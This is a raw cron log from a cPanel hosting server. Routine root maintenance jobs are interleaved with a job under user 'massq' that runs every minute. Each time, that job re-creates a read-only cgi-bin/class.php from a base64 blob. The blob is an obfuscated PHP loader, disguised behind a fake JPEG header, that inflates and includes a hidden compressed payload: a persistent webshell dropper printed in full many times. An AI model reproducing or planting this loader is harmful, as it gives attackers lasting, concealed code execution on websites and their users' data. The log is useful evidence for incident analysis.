Sep  3 08:53:01 server CROND[7731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:53:01 server CROND[7732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:54:01 server CROND[8113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:54:01 server CROND[8114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:54:01 server CROND[8115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:55:01 server CROND[8509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:55:01 server CROND[8513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:55:01 server CROND[8522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:55:01 server CROND[8524]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:55:01 server CROND[8525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:55:01 server CROND[8526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:55:01 server CROND[8523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:56:01 server CROND[9351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:56:01 server CROND[9352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:56:01 server CROND[9353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:57:01 server CROND[9752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:57:01 server CROND[9753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:57:01 server CROND[9754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:57:01 server CROND[9755]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:58:01 server CROND[10230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:58:01 server CROND[10231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:58:01 server CROND[10232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:59:01 server CROND[10618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:59:01 server CROND[10619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:59:01 server CROND[10620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:00:01 server CROND[11022]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:00:01 server CROND[11025]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  3 09:00:01 server CROND[11026]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:00:01 server CROND[11029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:00:01 server CROND[11032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:00:01 server CROND[11031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:00:01 server CROND[11043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:00:01 server CROND[11030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:00:01 server CROND[11037]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 09:00:01 server CROND[11041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:01:01 server CROND[11890]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 09:01:01 server CROND[11894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:01:01 server CROND[11893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:01:01 server CROND[11895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:01:01 server run-parts(/etc/cron.hourly)[11890]: starting 0anacron
Sep  3 09:01:01 server run-parts(/etc/cron.hourly)[11911]: finished 0anacron
Sep  3 09:02:01 server CROND[12289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:02:01 server CROND[12290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:02:01 server CROND[12291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:03:01 server CROND[12772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:03:01 server CROND[12773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:03:01 server CROND[12774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:04:01 server CROND[13460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:04:01 server CROND[13463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:04:01 server CROND[13462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:05:01 server CROND[13859]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
